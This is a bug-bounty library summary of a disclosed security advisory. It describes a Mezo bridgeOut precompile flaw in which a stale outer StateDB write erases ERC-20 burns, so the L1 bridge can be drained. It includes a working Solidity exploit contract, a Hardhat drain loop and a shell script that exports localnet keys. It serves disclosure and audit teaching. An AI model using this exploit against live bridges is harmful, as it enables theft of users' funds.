# Mezo: ERC-20 bridgeOut burn can be erased by a stale StateDB overwrite leading to full L1 bridge drain

Mezo bridgeOut ERC-20 burn executes in an inner StateDB; outer StateDB's stale dirtyStorage overwrites the burn at commit, letting attackers repeatedly drain L1 bridge tokens.

- Payout: Research
- Severity: high
- Program: Mezo
- Found by: DeltaXV
- Disclosed: 2026-05-06
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-6447-269v-g68m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-6447-269v-g68m
- Tags: area:web3 domain:web3 impact:funds-loss kind:research platform:ghsa sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:race-condition

**Target:** Cosmos-EVM bridgeOut precompile / StateDB commit path
**Root cause:** burnERC20 executes burnFrom in a fresh inner StateDB on cachedCtx without creating journal entries, so the outer StateDB's dirtyStorage (stale pre-burn balance/allowance) is written unconditionally to baseCtx after flushCache, overwriting the burn while the AssetsUnlocked event persists.
**Steps:**
1. Deploy ExploitContract with a transferRecipient.
2. In one tx: `t.approve(BRIDGE, amount)` writes stale allowance into outer dirtyStorage.
3. Call `IAssetsBridge(BRIDGE).bridgeOut(token, amount, 0, recipient)` — inner StateDB burns balance/supply/allowance on cachedCtx, no journal entry.
4. Call `t.transfer(transferRecipient, 1)` forcing outer SLOAD of stale balance from baseCtx and SSTORE (staleBalance-1) into dirtyStorage.
5. At commit: flushCache lands inner burn, then commit() writes dirtyStorage unconditionally, restoring balance and allowance.
6. AssetsUnlocked event survives; Ethereum sidecar attests on L1 MezoBridge, releasing real tokens.
7. Repeat per block; each round costs 1 wei while draining full bridgeOut amount.
**How found:** Code review of the dual-context precompile architecture: noticed burnBitcoin creates a journal.SubBalance entry synced via syncJournalEntries while burnERC20 delegates to ExecuteContractCall creating a fresh inner StateDB with no journal entry, then traced Commit() ordering (flushCache then unconditional dirtyStorage write) and GetCommittedState reading stale baseCtx values.
**Exploitation:** Attacker needs only a fixed ERC-20 balance (e.g. 10,000 USDC) on Mezo. Each tx atomically approves, calls bridgeOut to emit AssetsUnlocked, then transfers 1 wei to force the stale SLOAD. Commit erases the burn, so balance and allowance are restored; the sidecar releases real L1 tokens to the attacker's recipient. Repeatable every block until L1 bridge (~1,753,958.4 USD across cbBTC, T, USDC, USDT, xSolvBTC, SolvBTC, FBTC, USDe, swBTC, DAI) is drained.
**Escalation:** Per-block repetition with no supply invariant for ERC-20 (only abtc checked in verifyBTCSupply) allows draining the entire L1 bridge balance up to per-token outflow limits.
**Insight:** When a precompile mutates state via a nested ExecuteContractCall/ApplyMessage, the inner StateDB's writes are invisible to the outer journal — any subsequent outer SSTORE on the same slots will clobber them at commit. Audit every precompile for journal-entry symmetry between code paths (native vs ERC-20) and check Commit() ordering for flush-then-overwrite races.

## Proof of concept (copied exactly from the original report)

**ExploitContract approve-bridgeOut-transfer sequence**

```
contract ExploitContract {
    address private constant BRIDGE =
        0x7B7C000000000000000000000000000000000012;

    address public transferRecipient;

    constructor(address _transferRecipient) {
        transferRecipient = _transferRecipient;
    }

    function exploit(
        address token,
        uint256 amount,
        bytes calldata recipient
    ) external {
        IERC20 t = IERC20(token);

        // Outer stateDB writes allowance slot into dirtyStorage.
        t.approve(BRIDGE, amount);

        // Inner stateDB (via ExecuteContractCall) burns balance, supply,
        // allowance on cachedCtx. Outer stateDB still holds stale allowance
        // in dirtyStorage and has not loaded balance/supply.
        bool ok = IAssetsBridge(BRIDGE).bridgeOut(
            token, amount, 0, recipient
        );
        require(ok, "bridgeOut failed");

        // Forces outer stateDB to SLOAD balance from baseCtx (stale pre-burn
        // value), then SSTORE (staleBalance - 1) into dirtyStorage.
        // At commit, outer's dirtyStorage overwrites inner's burn.
        t.transfer(transferRecipient, 1);
    }
}
```

**Hardhat PoC repeated drain loop**

```
for (let i = 1; i <= ROUNDS; i++) {
    const bal = await mUSDC.balanceOf(exploitAddr);

    const tx = await exploit.connect(attacker).exploit(
      token, bal, "0x" + "aa".repeat(20), { gasLimit: 5_000_000 },
    );
    const rc = await tx.wait();

    let l1Amount = 0n;
    for (const log of rc!.logs) {
      try {
        const p = iface.parseLog({ topics: log.topics as string[], data: log.data });
        if (p?.name === "AssetsUnlocked") l1Amount = p.args.amount;
      } catch {}
    }
    // crucial check to ensure the attack is successful
    if (l1Amount === 0n) throw new Error(`Round ${i}: AssetsUnlocked event not found`);
    totalDrained += l1Amount;
```

**run_poc.sh key extraction and exploit runner**

```
key0=$(echo y | "$MEZOD" keys export node0 --unsafe --unarmored-hex \
  --home "$ROOT/.localnet/node0/mezod" --keyring-backend test 2>/dev/null \
  | grep -oE '[0-9a-f]{64}' | head -1)
key1=$(echo y | "$MEZOD" keys export node1 --unsafe --unarmored-hex \
  --home "$ROOT/.localnet/node1/mezod" --keyring-backend test 2>/dev/null \
  | grep -oE '[0-9a-f]{64}' | head -1)

[[ -n "$key0" && -n "$key1" ]] || die "could not extract private keys"

cat > "$SOL/.env" <<EOF
LOCALNET_RPC_URL=http://localhost:8545/
LOCALNET_PRIVATE_KEY=${key0},${key1}
EOF

rm -f "$SOL/.openzeppelin/unknown-31611.json"

echo "[*] Keys extracted, .env written, running exploit ..."
echo ""
cd "$SOL"
npx hardhat run scripts/poc_exploit.ts --network localnet
```

